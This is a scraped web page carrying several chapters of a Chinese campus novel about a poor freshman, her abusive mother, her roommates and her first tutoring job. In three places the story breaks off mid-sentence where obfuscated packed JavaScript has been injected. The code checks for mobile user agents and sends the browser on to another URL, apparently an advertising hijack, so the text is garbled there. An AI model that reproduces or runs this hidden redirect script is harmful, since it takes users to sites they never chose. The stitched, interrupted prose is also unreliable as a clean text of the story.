红墙白窗,没有百米台阶,没有擎天巨柱,而是内秀的四扇圆弧顶木质双开门。 绿曼攀附,这座图书馆仿佛从百年前走来,如今深沉地、宁静地坐落在这座百年名校。 推门而入。 内部装潢要现代很多,在一层可以看见八层层顶,五彩的玻璃投射在大理石地面,如梦似幻。进口处安置着一排闸机,管理员坐在位置上对每一位刷卡入内的同学笑着说一句:祝你今天学有所得。 管理员注意到这个从进来以后就停在闸机门口的小姑娘,她轻唤:“那位穿着黄色短袖的同学,怎么不进去?” 舒澄:“老师你好,这是需要刷学生卡才能进吗?” 管理员笑问:“你是今年的新生吧?” 舒澄点头。 管理员:“那你得等学生卡激活以后才能进。” 激活。 她把这件事忘了。 舒澄说了句不好意思。管理员笑着摆手,“多大点事,等你激活以后再来,图书馆又不会跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“宜大这么有名怎么学费这么贵?彤彤那个学校我昨天问了你舅妈一年才四千,楼下他们家孩子学费一年才三千二,你一下子就跟我要七千块钱,我上哪给你那么多钱?不知道你弟弟现在上初中补课、课外课都要花钱,家里哪有那么多钱。” 舒不凡补习数学和物理,一对四,一节课的学费就是六百。 他还要上街舞课,每个月五千。 的确费钱。 舒澄道:“大学里进寝室要刷卡,吃饭也要刷卡,”她顿了顿,“进图书馆学习也要刷,学校那边要划走学费以后才会给校园卡激活,我现在没有卡可以用,连图书馆都进不去,我想尽可能早一天学习,也能多学一点东西到时候回去可以教舒不凡。” “要不是你考上宜大,我都不会让你念。”黄丹虽然还在骂,但舒澄提到舒不凡,她到底还是松了口,家里有一个宜大的也挺好,能为舒不凡以后考进来铺路,“女孩子会做家务就可以了,学这么多有什么用?不还是个女的,到头来也要嫁给别人生孩子。所以啊,舒澄,你要记住,一定要好好学,多学,没事就去老师办公室请教问题,等你寒假回来,好好给不凡讲一讲,我这钱也算没白花。” “还百年名校呢,我看真会坑人,不交学费就不给激活卡?这是什么流氓规定,等我见了你们班主任我一定要好好问问他。” 舒澄静静地听着黄丹讲话。 黄丹骂了一通,“你给我记住,在外面不准乱搞知不知道?只能学习,要是让我知道你敢败坏家风做出那种丢人的事情,你看我打不打死你,听见了吗?” 舒澄:“知道的。” 黄丹没有提钱的意思,舒澄只好主动问:“妈,学费什么时候能给我打过来?” “催催催,催命鬼啊?!”黄丹挂断电话。 舒澄找了个僻静的地方坐着,她还没用习惯智能手机,以前高中都是用只能玩贪吃蛇的小灵通。 微信也是来宜宁前两天才申请的。 她找到朋友圈,想刷一刷,又发现自己这个号除了黄丹让她加的七大姑八大姨,最活跃的就是舒不凡。 上课玩手机都不遮掩。 里面显示五分钟前他发了一张朋友圈。 你耐小爷如何:昨天新买的nike好磨脚。 配图明显是偷偷摸摸拍的,镜头附近还有过于凑近而导致虚焦的书页。 画面中间是一双穿着绿色AJ的脚,到是清晰,而且将整个对号都拍了进去,不难看出这条动态主人炫耀的心思。 舒澄知道这是AJ,还是因为舒不凡整天在家里念叨。 这一双,听他说要一千多。 评论区多出一条评论: 花开富贵:【臭小子你现在不是在上课吗?玩什么手机!】 你耐小爷如何回复花开富贵:【妈,我错了,现在就去听课嘻嘻】 花开富贵回复你耐小爷如何:【好儿子,好好学习,加油棒!】 舒澄看着上面母子二人的互动,手指尖有些发冷,正想关掉手机时,发现好友处多了一个红点。 有三个不同的头像分别发来了好友申请。 虽然没有备注,舒澄却一下子就认出了这三个头像都是谁。 纯黑色背景中间有一张国王牌,是陈小雨。 妆容精致在亮片雨下笑容明媚的男爱豆,是叶从容。 一整个斐乐logo如此直白的,是段斐。 三个人性格各异,连头像都如此分明。 她一一点下同意。 这时,手机收到一条短信。 显示尾号0669的银行卡入账肆仟元整。 花开富贵:【省着点用!】 4. 弟弟 不管怎么说,第一年的学费和住宿费有着落了。 舒澄也打定主意,这是最后一次跟家里伸手要钱。她知道宜大学生这个身份在宜宁很容易找到家教的工作,于是打算军训后开始兼职。 四百块,昨天还买了火车票,实际上只有三百多。 学校的食堂再便宜,舒澄也没有信心能挺到寒假。 新生报道结束后,学校给大家留下了一个三天的适应时间,接下来就会进行为期20天的军训。 往年九月天气已经爽快,今年这个温度,让大家对即将到来的军训胆战不已。 叶从容在寝室疯狂下单防晒,“我买一个乳液一个喷雾够不够?”没等有人接茬她就立马继续加购,“肯定不够啊我估计我一天就能用掉一瓶,我还是多买几个吧,有没有人要拼单?” 陈小雨举手,“你买什么牌子?” 叶从容说了一个牌子,陈小雨也用过,两个人便一起拼单。 要下单前,叶从容回头问,“段斐,你买不买?满400-50。” 段斐伸出一根食指晃了晃,“不用管我,你们买你们的。” 叶从容:“你不怕晒黑吗?” 段斐从柜子里拖出一个箱子,咔哒一声打开,“早买完了。” 叶从容凑近一看,好家伙满满一箱子各种牌子,国内的国外的,乳液的膏霜的,喷雾的甚至还有抗光损面膜。 “你搞走/私啊?” “啧。”段斐说:“就是有点爱囤货,你们也别买了,用我的好了,这一箱我估计我用不完。” 叶从容嗷一声扑在段斐身上,“富二代就是好啊呜呜呜呜谢谢老天爷赐给我一个富二代,请你一直这么有钱下去可以吗?” 段斐把她从身上扒拉下去,“那你要跟我爸说,只要他不破产就可以。” 陈小雨拿出三张塔罗牌,“金币满满,破不了。” 段斐彻底服了,冲她竖起一个大拇指。 叶从容和陈小雨不客气,蹲在箱子旁边就挑起防晒。平价的大牌的、美国的泰国的,跟逛免税店似的,别说段斐一个,就是加上她们两个拼命用当乳液用也用不完,两个人一边羡慕一边往自己怀里塞。 段斐看了眼在桌前看书的舒澄,“舒澄,你也过来拿吧。” 舒澄:“我不用了,谢谢你。” 叶从容拿了两三瓶,“你不怕晒黑吗?” 舒澄:“晒太阳补钙。” 叶从容噎了一下,继续埋头找防晒。她低声跟陈小雨咬耳朵,“咱们这位4号床真的有点难相处啊有没有。” 陈小雨:头也不抬,“她是一个罐子。” “罐子?”叶从容不懂,“求解释。” “里面有水,但要有人倒出来。” 叶从容敬佩道:“这你都能看出来?” 陈小雨:“我算的。” 叶从容:……当她没问。 该来的总要来,军训第一天,太阳像被谁打了鸡血,从早站到晚,天空晴朗的连片云都没有。 一天下来寝室几人像霜打了的茄子一样,连话最多的叶从容都坐在位置上蔫蔫的不说话。 段斐有气无力道:“从容,你哥哥那居嗨无比的新专呢?放出来。” 叶从容挣扎一阵,“胳膊抬不起来,没力气。” 段斐:“那算了。” 大家沉默了一阵,叶从容回了点力气,开始八卦,“你们知道计算机院有一个男生火了吗?” 段斐:“有刷到,叫程、程什么来着。” 陈小雨接:“程时屿。” 叶从容兴奋道:“对!就叫程时屿,天呢我看了她们拍的照片,我能说下颚线比我的人生都清晰吗?” 段斐:“在太阳下晒成狗还能帅吗?” 叶从容:“那我们20天以后见分晓。” 她订正,“不对,今天已经过去了,我们19天以后见分晓。据说帅哥都不会被晒黑的。” 段斐抓狂:“还有19天吗?这样的日子还要19天能结束吗?” 叶从容:“我看论坛上已经有人开始求雨了。”她下意识往左边一扫,默了,“咱们寝室就有一现成的。” 陈小雨收起卡牌,“牌面说后天有雨。” “对。”叶从容举起手机,“天气软件上也写了。” 陈小雨:“……” 正拌嘴着,突然响起一阵拖拉椅子的声音。 叶从容看过去,见舒澄从椅子上起身,目不斜视地从她们身后穿过,然后开门,走出去,关门。 她咽了下口水,“不会是嫌咱们吵吧?” 段斐瞅了一眼时间,“不能,应该到她吃饭的时间了。” 叶从容喃喃道:“这真的是个罐子吗?” 陈小雨重新拿出卡牌,“我想算一下谁是破局人,你俩好奇吗?” 段斐对塔罗牌挺感兴趣的,就那么几张牌居然能解说出那么多种情况。 她饶有兴趣,“看看。” 三人来到公共长桌前,陈小雨将一块质感很好的紫色桌布铺在桌上,然后将塔罗牌铺开,停顿片刻,从中抽了三张。 她一一翻开,细细看着牌面,末了抬头看段斐,“是你。” 段斐指着自己,“我?” 面对两个门外汉,陈小雨选择了一个最直观简单的解释,她拿出其中一张,是一个坐在溪边洗陶罐的女人。 “舒澄的性格是一个装着水的罐子,而这张牌里,显示女人正拿着罐子将它里面的水倒出来,就代表能敞开她的心扉。”陈小雨点了点剩下两张,“这两张在指示洗罐子人所在的方向,就是你这边。” 段斐听的一愣一愣,总觉得这不就是看图说话。 怎么感觉哪哪都不靠谱。 不过本就是玩玩,所以她笑笑也没放在心上,转头犯愁第二天的军训。 陈小雨正要收起卡牌,手腕被一双温热的小手握住,一抬头,叶从容眸光闪亮。 “小雨,亲爱的小雨,能帮我算一下我跟我家哥哥的缘分吗?” … 舒澄在食堂吃完饭回来,推开寝室门,发现今晚寝室氛围有些不对。 原本最热闹的叶从容的位置,此时寂静无比。 她以为叶从容是睡了,便放轻脚步。 陈小雨见了,道:“她没睡。” 看舒澄疑惑,她指了指床铺上面的一团,“刚才你不在的时候,给她算了跟本命的缘分,出了一个恶魔牌,她现在正在伤心。” 话音刚落,就听到一声压抑的尖叫从床铺上方传来。 舒澄不懂什么是恶魔牌,但看叶从容的反应,应该不是什么好结果。 她坐在桌前,翻开书。 交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143847|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈声从阳台门咧开的缝隙中传来。 “臭小子赶紧把电话给妈,不然你看我是不是一会儿打车回家暴打你一顿。” 是段斐的声音,她似乎是在跟谁打电话。 听内容,也许是段斐之前口中的那个弟弟。 舒澄无意偷听别人讲电话,将注意力放到书里。 结果段斐的声音越来越大。 “呵呵你以为宜大军训时不让学生离校我就没办法了?” “你还想举报我?你有我们导员电话吗?” “妈的你是怎么知道的?” “没说脏话,你听错了。” “行,算我求你,把电话给妈,你要是不想看到你姐明天死在宜大操场上,你就现在、立刻、马上把电话给妈。” “那不叫作假,谢谢。那叫合理利用资源。” “给不给?” “再给你一次机会,给不给?” “再给你一次机会。” “我再给你——喂?喂?” · “好啊臭小子敢挂我电话是吧!”段斐一把推开阳台门,风风火火怒气冲冲,她唰地拉开椅子,气得呼呼直喘,“敢挂我电话!” 她拿出手机噼里啪啦一顿点,嫌不过瘾干脆发语音,“你敢挂我电话,最好别让你有什么把柄落在我手里,不然我真的会弄死你,知道吗?” “——段叙!” 这是舒澄第一次听到段叙这个名字。 虽然现在段斐很生气,但不难看出他们姐弟两个的感情应该很好。 不然不会有来有回吵这么久。 不像她和舒不凡。 叶从容从上面露头出来,“段叙就是你那个16岁的弟弟?” “从今天开始不是了!”段斐一拍桌子,“我跟他断绝关系。” 叶从容是独生女,她趴在床上,“咱们寝室就我一个独生子女吗?” 她看了一眼下方专心看书的舒澄,“舒澄,你是独生子女吗?” 舒澄:“……我不是。” “啊?你有兄弟姐妹?” 舒澄轻轻点头,“我有一个弟弟。” 段斐一听,坐直身体,“你也有一个弟弟?你弟弟多大?” 舒澄:“今年初二。” “初二啊。”段斐道,“那你弟现在应该还处于比较听话的阶段吧?等到了高中那就完了,简直一活祖宗,真不知道我俩谁才是老大。” 听话吗。 舒澄想到在离家前几天,舒不凡还因为她多夹了一口辣椒炒肉里面的肉丝而将她的饭碗甩在地上。 她轻声道:“还好。” 关于独生子女的话题就此结束。 第二天段斐没有翻腾出任何水花,不知道段叙那臭小子怎么跟妈说的,妈半夜给她发来消息,大意是考上宜大老老实实毕业不要搞花样,病例随便开她这个主任医师是要负法律责任的。 所以她依旧是穿着一身绿油油的军装在大太阳下,向左转向右转顺便稍息。 今年一整个九月的天气都倍儿好,连云都稀少。 中途到是有一次阴云密布刮起大风,新生们开始兴奋大叫,结果风刮了几分钟,将整团乌云越刮越远。 等到军训结束,教官都笑了。 “你们是我带过——” “——最倒霉的一届。” 5. 弟弟 军训下来,舒澄黑了整整两个度。 早晨她洗脸时,拿下眼镜后发现镜腿覆盖的地方产生了一条明显的肤色差。她不甚在意,用清水抹了把脸。 现在更要紧的事情是赚生活费。 昨天刚充了200块钱的饭卡,现在兜里只剩下一百出头,这样下去下个月寝室平摊的水电费都交不出了。 宜大的论坛上有很多帖子,其中不乏一些学长学姐们写的兼职干货贴。 舒澄在上面找到一个家教的工作。 钱不多,一个半小时两百块。 位置也远,从学校到那里要坐将近两个小时的公交车。 因为这两点,这个兼职在网上挂了一周多也没人问。 舒澄了解过宜大学生做家教的市场价,像她这种低年级的基本上一个小时三百,高年级加倍,如果是研究生或者博士生,再翻倍。 只是她刚开学不到一个月,又急缺钱,所以没多讲价,就同意了。 国庆假期开始,舒澄人生中第一份‘工作’也开始了。她要去当家教的地方,似乎是一个很高档的小区。所以舒澄特地选了衣柜里最拿得出手的一套衣服。 一件高考前黄丹给她新买的白色短袖,还有一条蓝色牛仔裤。 帆布包也提前洗过。 两个小时后,舒澄准时出现在观潮云港的小区门外。 这是她第一次见到如此高级的小区,隔着高大精美的铁门,舒澄看到里面郁郁葱葱的绿化,里面的植物她都叫不上名字,却能感受到门内外两个截然不同的世界。 美好的像是另一个世界,好像连灰尘都不会飘进去。 小区管家询问了她的来意,进到工作室给户主拨通线内电话。 几分钟后,管家带她进入了这个不染纤尘的世界。 舒澄走了几步,下意识回头去看自己踩过的地面,会不会留下脚印。 管家将她带到户主门外,按下门铃,片刻后,紧闭的房门被打开。 房间宽敞明亮,女主人一袭粉色居家服,上下打量了舒澄一眼,“你就是舒澄吧?” “请进。” 舒澄进门,站在玄关处双脚不知如何安放。 女主人:“直接进吧,一会儿阿姨会来打扫的。” 舒澄眼观鼻鼻观心跟着女主人,进门时她没有乱看,但只是那匆匆一瞥,就知道这户人家的客厅就要比她一整个家都要大很多。 女主人停在房门前,“这个就是我女儿的房间。” 闻言,舒澄诧异的神色没有掩盖住。 女主人:“怎么了?” 舒澄如实道:“您,看起来很年轻。” 不是她拍马屁或者奉承,这位女主人看起来真的很年轻。 而她接的这个兼职,上面有写教学对象是一位初一的小姑娘。 面前这位女主人,皮肤饱满紧致,从妆容到发丝都十分精致,看起来一点也不像有一个上初中的女儿。说二十出头也不为过。 没有人不喜欢被夸年轻,女主人笑了,“谢谢,保养的还可以。” “你们宜大的学生都这么会说话?” 舒澄老实道:“我只是讲实话。” 女主人笑得更开心了,她敲了敲房门,里面并未传来回应。 她摇摇头,道:“遥遥在里面,今天第一天你们先熟悉一下吧,如果结束之后双方觉得合适,我们再沟通后面上课的价格。” 她虽然这么讲,舒澄却听出另一番意思。 我女儿很难搞,等你过了她那关再说。 她点点头,想着再难搞,应该会比舒不凡好一些吧。 女主人在门外说:“遥遥,老师到了,老师要进来了。” 她自己没进去,对舒澄道:“接下来的一个半小时,就交给你了。舒老师?” 舒澄推开房门,粉嫩的颜色立刻挤进了她的眼睛里。 她好像推开了某个神秘世界的大门入口,满眼都是粉色的梦幻泡泡。 一看房间主人就是集万千宠爱于一身长大的。 “你别把我地毯踩脏了!”一道娇厉厉的声音传来。 舒澄下意识停住脚步,往下看,自己泛白的球鞋此时离地毯还剩了不到两米的距离。 “抱歉。”她收回脚,站在原地,“我们在哪里开始?” 邵遥遥从飘窗上跳下来,“你就是新来的老师?” “是。” “你可以在沙发上玩一会儿手机,到时间以后我会跟妈妈说不用你教我。” 舒澄愣了下,这是一个被面试的机会也不给自己。 她说了个好,从包里掏出随身带着的专业书,将帆布包铺在地上,坐在上面开始看书。 邵遥遥见舒澄不问也不恼,到底是小孩子,没忍住:“你怎么不问问我是为什么?” 舒澄翻到昨晚看到的页面,头没抬,回道:“既然你不想要补课,那想来谁来都一样,既然不是针对我,我为什么要问原因呢?” 邵遥遥捡起地上的一个长耳兔子娃娃抱在怀里,远远地打量这位新家教。 记不清这是妈妈找来的第多少位家教。 但这次这位,好像没有那么令人讨厌? 不会用侵略的目光打量自己的房间,也不会一上来就讨好自己,更不会为了在妈妈那里留下一个好印象而逼自己背英文报纸。 她揪着兔耳朵,瞥到舒澄书页上夹着的书签,“这个你是在哪买的?” 舒澄抬头,顺着她的手指,以为她问的是自己手里的书,“宜大二手交易群淘来的。” 邵遥遥摇头,“我是问这个书签。” “这个?”舒澄碰了下宜大的校徽书签,“这个是宜大图书馆里的一位老师送的。” 邵遥遥:“多少钱?你卖给我。” 邵遥遥又重复一遍:“多少钱?五百够不够。” 舒澄被这位不到十三岁的小女孩惊到了,一时没有反应过来。 这还是她第一次遇到这种情况。 邵遥遥以为她嫌便宜,咬咬牙,“一千总行了吧?我放假没有那么多钱,如果一千不够你就等我开学以后,我妈妈会给我零花钱,到时候我再补给你。” 舒澄很不想承认,她心动了。 一个书签,一千块。都够她吃一个学期的饭了。 但理智战胜了冲动,她总不能用这个书签去坑一个初中生。哪怕是再有钱的初中生,也不行。“不卖。” “为什么?!”邵遥遥急了,扯着兔子耳朵。 舒澄注意到地上飘落的涂鸦纸,上面的图案很眼熟,跟她现在书上夹着的长得很像。 她发现了什么,“你很喜欢宜大?” 这样一来,好像能解释的通,为什么住在这种高档小区里面的有钱人,会找一个宜大的学生来给孩子上课。 明明这种人,不缺请名师一对一的钱。 邵遥遥咬着嘴唇,别过头不回答。 “喜欢宜大,却不喜欢上家教课?”舒澄轻声问。 “你管我。” “嗯,我确实管不着。”舒澄拿起书签,“这个应该是宜大图书馆的周边,只面向宜大自己的学生。” 邵遥遥的目光被舒澄手里的书签吸引着,“什么意思?” “你不是很想要这个吗,想玩个游戏吗?”舒澄跟舒不凡常年斗智斗勇,连舒不凡那种暴躁到说不上几句话就想动手打人的熊孩子她都可以偶尔唬住,眼前这位家教良好只是有点别扭的小姑娘,根本毫无难度。 “你要是赢了,我免费送给你。” 邵遥遥明显心动,却还是拘着脸,“免费送,还有这样的好事?” “你可以先听听,如果觉得划算再同意。”舒澄放慢语气,“当然,要是你怕了的话,就算了,我继续看书。” 邵遥遥切了一声,“激将法,我才不上当。” 小鬼灵精。 舒澄也没说什么,耸耸肩继续低头看书。 她虽然看着书页上的铅字,注意力却在一旁的邵遥遥身上。 过了没多大一会儿,只听一道稚气未脱的声音别扭响起,“你,先说说也行。” “很简单,只要达到15分就可以。” “15分?”邵遥遥走近,“怎么得?” 舒澄站起身,从包里拿出提前准备好的本子。 “这回我能坐在桌子旁边吗?” “可以。” 舒澄坐下,来之前兼职平台有跟她说过这位学生的基本情况,她针对着整理了一些初中必背的公式,先从最薄弱的数学入手。 她撕下一张纸,在上面写了一个计算公式,“把这个公式背下来,得一分。” 邵遥遥凑近看了一眼,很眼熟,她哼了一下。 半分钟后,“背好了。” 舒澄将纸张扣过去,递给邵遥遥一支笔,“默写出来。” 邵遥遥摆手,“不需要,我张口就来,2a…2c……” 舒澄看着她,“那这分就算你没拿到。” “等一下!”邵遥遥拉开公主椅坐上去,将舒澄扣过去的纸重新翻开,“刚才不算!第一次总得给我一个适应的时间吧!” 她这回一边看着公式,手指一边在桌上写写画画。 依旧是半分钟后,她胸有成竹扣掉纸,抢过舒澄手里的笔,随手抽出一个粉色的本子,刷刷刷几下就讲公式完整地写了出来。 舒澄扫一眼,“对了。” “哼。”邵遥遥得意道,“这一分我拿到了吧?” “算你拿到。” “然后呢?” 邵遥遥的兴趣已经被激发出来,她正等着舒澄说下一步。 舒澄捡过刚才写公式的那张纸,将里面abcd代表的意思写在旁边,“这回是记住释义,得一分。” “简单的要死。”邵遥遥拿过纸,一边背释义一边道,“一会儿你就会发现自己满分设置的太低了,有你后悔的。” 就这样,从公式到释义,从释义到计算题,从直接应用到变型应用,邵遥遥不知不觉已经做了十几道题。 一道比一道顺手,等到最后一道题还没等舒澄将提干写完,她就开口:“答案是4,对不对?” 出乎舒澄意料的聪慧,她点点头,“是4。” “这是最后一道了。”邵遥遥兴奋道,“这道我做对了,15分已经满了。” 她冲舒澄抬起手,“拿来吧,书签。” 舒澄看了眼时间,刚好一个半小时。 她将书页上别着的书签取下来,放在邵遥遥手心之前,她道:“这个书签先压在你这里,等我去图书馆再领一个,用新的跟你换,可以吗?” 邵遥遥自然也喜欢新的,她兴高采烈接过来,放在手里观察了好一阵,“那你可以拿到新的以后再给我呀。” “答应你了,就要做到。” 这个书签是舒澄来到宜大以后收到的第一个礼物,她其实舍不得给邵遥遥,但事出从权,邵遥遥都完成了约定,她没有理由不给。 先给再换是一回事,先不给,又是另一回事。 跟小孩子的约定,也很重要。 舒澄不想不守信。 邵遥遥抬起头,捧着书签直愣愣地看着舒澄,突然躲闪眼神,“那、那当然是要做到,毕竟我今天拿了15分。” 她将赢来的书签放在装饰盒里,“别忘了用新的跟我换。” “好。”舒澄道,“你们小区外面的保安,是可以帮忙送东西上来的吧?” “保安?你是说管家叔叔吗?”邵遥遥疑惑,“可以是可以,不过你问这个干什么?” 舒澄:“到时我把书签交给他,让他帮忙送上来。” “你自己带上来就好啊,为什么要让他送?”邵遥遥说完,自己也意识到了,一开始是自己主动说不要这位老师给自己上课的。她咬了咬嘴唇跑出房间。 对舒澄来讲,不管怎么说,今天这堂课也算结束了。 不论后续怎么说,大不了就再重新找兼职。今天这一个半小时也没算荒废,这样一会儿去结今天的课时费,也不会心虚。 她将写满公式和试题的纸叠好,放回包里,确认没有东西落下后,也走出房间。 女主人在吧台喝酒,邵遥遥正抱着她的一条腿撒娇。 舒澄走过去,“你好,今天的课已经结束了。” “辛苦了,同学。”女主人低头对邵遥遥温柔道,“遥遥,今天的老师怎么样?” “还可以。”邵遥遥闷声道。 女主人歉意一笑,“今天辛苦你来一趟了,你要转账还是现金?” “现金吧。”寝室楼下充饭卡的机器只能支持现金,现金比较方便。 女主人从钱包里抽出两张红色的钞票递给舒澄。 舒澄接过来,手指微微颤抖。 这是她第一次,凭自己赚到钱。 以前在家,除了去上学,黄丹从不让她出门兼职。 有一次她想买一本名师习题集来做,那一本要八十块,正好附近商场在招聘发传单的人员,一天下来的工资也是八十。 她便跟黄丹说学校周末补习,实际上是到商场发传单。 结果正巧碰见了跟朋友一起逛街的黄丹。 那天,黄丹气得在街上破口大骂,将厚厚的一叠传单一次又一次扇在她胳膊上,“现在学会撒谎了是不是?是不是?!” 到最后,黄丹用钱包狠狠拍她的额头,“就这么缺钱?我每天给你的钱你都用在哪去了?麻痹的搁别人看以为我虐待你,你他妈的在大街上卖惨给谁看?!” “缺钱不会开口吗?你是不是没有嘴,啊???” 当时舒澄就在想,她为什么不开口。 也许就是不想经历这样的情况。 而现在,没有破口大骂,没有肢体冲突,她就这样得到了两百块钱。 这么,轻易。 她道了句谢,走到门口打算离开。 “老师!”邵遥遥在后面喊出声。 舒澄回头。 邵遥遥:“下次,是多少分?” … 家教的事情就算定了,邵遥遥的母亲,也是那位年轻的女主人跟舒澄暂定先上一个学期。 学费也由一个半小时两百块涨到了三百。 一周两节,具体上课时间根据邵遥遥的时间再定,不固定。 这样的话,一个月就是八节课。 两千四。 舒澄第一次有了一种这么多钱不知道怎么花的感觉。 晚上,她破天荒在食堂点了一碗牛肉面,两个肉夹馍。 吃了她来到宜大后最贵的一顿饭。 国庆期间,她给邵遥遥又上了两节课。 这种打分机制对邵遥遥来说很有激励作用,假期最后一堂课结束后,女主人将舒澄多留了一会儿。 说邵遥遥现在将这种打分机制都用在了生活里。 有一次看见遥遥在沙发上看电视,已经到了规定的时候,叫她没反应,就听她自己跟自己说,现在起来得2分,在拖延就只能得1分。 从女主人的反应来看,对邵遥遥现在的转变很满意。 这对舒澄来说也是一种肯定。 她从观潮云港出来的时候,天空阴云密布,像是要下大雨。 从小区到舒澄坐公交车的地方有两公里,她没带伞,担心被雨淋湿在半路,于是加快脚步。 走到半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一辆线体流畅的轿车停在后方,后座车窗降下。 段斐的脸出现,她隔着雨幕对舒澄道:“上车。” 舒澄:“没关系,一会儿雨笑了我就走。” 对于这位室友冷淡的态度,段斐一直无所谓,但此刻她真的有点火大,舒澄整个人像是从水里捞出来一样,拧一拧能出一盆水,还想着拒绝别人的好意,“快上车,路边不能停车。” 话音刚落,后方就传来喇叭声催促。 段斐外头看舒澄,大有一副你看他们都催了,你不上车我就不走的态度。 这位大小姐向来不会去顾及陌生人的看法,管他后面车里大哥是不是因为内急才一顿狂按喇叭。 舒澄没办法,只好跑到车旁。 段斐给她腾出来位置。 这时看清舒澄一直护着的是一个白色的帆布包。 舒澄坐在段斐旁边,车内的熏香揉杂在暖风里,特别舒适宜人。 她踮着脚尖,尽量避免整个湿漉漉的鞋子踩在车内柔软的地毯上,但身上的重量无时无刻不在提醒自己,她座位下面应该已经聚了一滩水。 “……谢谢你,你家的车应该被我弄湿了,我下车就给你擦干净。” 段斐不在意,“你现在身上除了那个帆布包,还有干爽的东西能用来擦车吗?” 舒澄难得沉默。 还真没有。 段斐看到她一双脚在地面上局促着,啧了一声伸手按住舒澄的膝盖,向下。 直到那双球鞋完全踩在地毯上,她才松开,“你在我家车上练芭蕾?” “一个地毯而已湿了就湿了,地毯就是给人踩的,你管那么多干嘛。” “……谢谢。” 车子往舒澄来时的方向开,她开口:“这是去哪?” “反正不是回学校。”段斐一脸就算今天是7号我也要在家呆到最后一刻再返校的表情,“你现在这样也回不去,先跟我回家吧,换一身干净衣服。” 舒澄:“不用了,谢谢。麻烦你帮我放到就近的公交车站就可以。”想了想车外的暴雨,她第一次让步,“地铁站也行。” 从这里返校,倒公交车全程4块。 坐地铁8块。 “不送。”段斐眼睛一闭,“马叔,开回家。” 见身边没动静,段斐又睁开眼,“你有急事?” 车内熏香让舒澄被暴雨淋冷的身体慢慢回暖,她轻声道:“倒也不是。” 段斐重新闭上眼,“那不就得了,晚上咱俩一块回学校。” “就这么定了。” 十分钟前,舒澄从观潮云港出来。 十分钟之后,她坐着段斐的车又回到这个小区。 司机马叔将二人送到车库,询问段斐晚上几点来接她回学校。 段斐很想说十一点。 但考虑到舒澄也在,不能连累她被寝室阿姨骂,便道:“八九点钟吧,麻烦马叔了。” 段斐说八九点,那就是九点半。 这是马叔多年来总结出的经验。 他开车离开,舒澄跟着段斐从电梯上楼。 段斐:“你今天怎么会来这边?” 舒澄:“我找了一个做家教的兼职,教的学生也是这个小区的。” 段斐了然,点点头。 电梯来到22层,这栋楼是一梯一户。 梯门一开,段斐就踢掉鞋子,“家里没人,我那个便宜弟弟学校上课,爸妈都工作,你随意一点啊。” 她给舒澄拿了一双崭新的拖鞋,“沿着长廊一直走,有一扇贴着斐乐logo的门,那个是我房间,衣帽间里所有衣服你随便穿,贴身衣物也都有全新的。浴室有热水,你冲个热水澡吧,不然很容易感冒。” 舒澄道了声谢,自己一间一间找过去。 整栋房子的设计是欧式简约风格,整体布局比舒澄兼职的那家更大。 说是长廊,实际上比一般人家的客厅还要宽广。 有钱,第一次在舒澄心中有了实际的模样。 她看到一扇乳白色的门,门上贴了一张斐乐的logo,这个应该就是段斐的房间了。 她推开门,看到段斐的卧室,整体是淡绿色,透露着跟她这个人一样的生机勃勃。 墙上摆了一排奇形怪状的玩偶,像是她会喜欢的东西。 主人不在,舒澄很有分寸的收回目光,不会过于打量。 她找到衣帽间,拉开绿色的蕾丝帘子,里面的感应灯应时亮起。 衣帽间里竟然坐着一个人! 舒澄差一点惊叫出声。 此人穿着一件黑色的连帽卫衣,此时宽大的帽子罩在头上,将他侧脸遮得很严实。 下半身是一条侧边带灰色线条的运动裤,看起来像是校服。 这人显然也被突然拉开的帘子吓了一跳,半扯着帽子露出眼睛看向衣帽间门口。 舒澄得以在这时看清此人的模样。 是个男生。 因被帽子压过的原因,他额前的碎发有些乱。 鼻梁高挺,眼尾弧度很好看,望过来时睫毛在眼尾投下一片阴影,眸色略深。 看起来年纪不大,轮廓带着未褪的青涩。 但不难窥见日后不俗外貌。 惊吓的神色从他脸上一闪而过,转而又换成一副散漫样,相貌极佳的少年反客为主,声音带着这个年纪独有的清,“我姐的朋友?” 舒澄定了定神,“你是,段斐那个正在学校上课的弟弟?” 6. 弟弟 气氛尴尬两秒,少年轻咳一下,将手里拿着的东西望身后藏了藏。 他的视线原本要向下落,却在触及舒澄身上时骤然瞥开。 他唰地起身,将头上的帽子压得更低,只露下半张脸,还有一截修长的脖颈。 然后一言不发从舒澄身边走过,离开衣帽间。 衣帽间只留着舒澄一个人,她平复了一下刚才被段斐弟弟吓到的心情,伸手轻抚胸口。 掌下一片湿润,她低头,发现由于浑身湿透的原因,衣服里面的内衣颜色完全透了出来。 想到刚才段斐弟弟不自然的表现,她面上浮现出一丝尴尬。 不过她很快就将这种情绪压了下去,一个刚上高中的小孩,四舍五入就是个刚刚结束初中生涯的小孩,而她,舒澄,已经是一个成熟的大人了。 没必要尴尬。 她忽略段斐弟弟从自己身边路过时,比自己高出半个头的身高差异。 将他在脑海中刻画成了跟舒不凡差不多大,只到自己胸口的小孩。 舒澄找到段斐衣帽间里码得整整齐齐的贴身衣物,里面有不少一次性单独包装的,她捡了两个。 到拿衣服时,犯了难。 左右两排玲琅满目,每一件都价值不菲。 她实在不知如何下手。 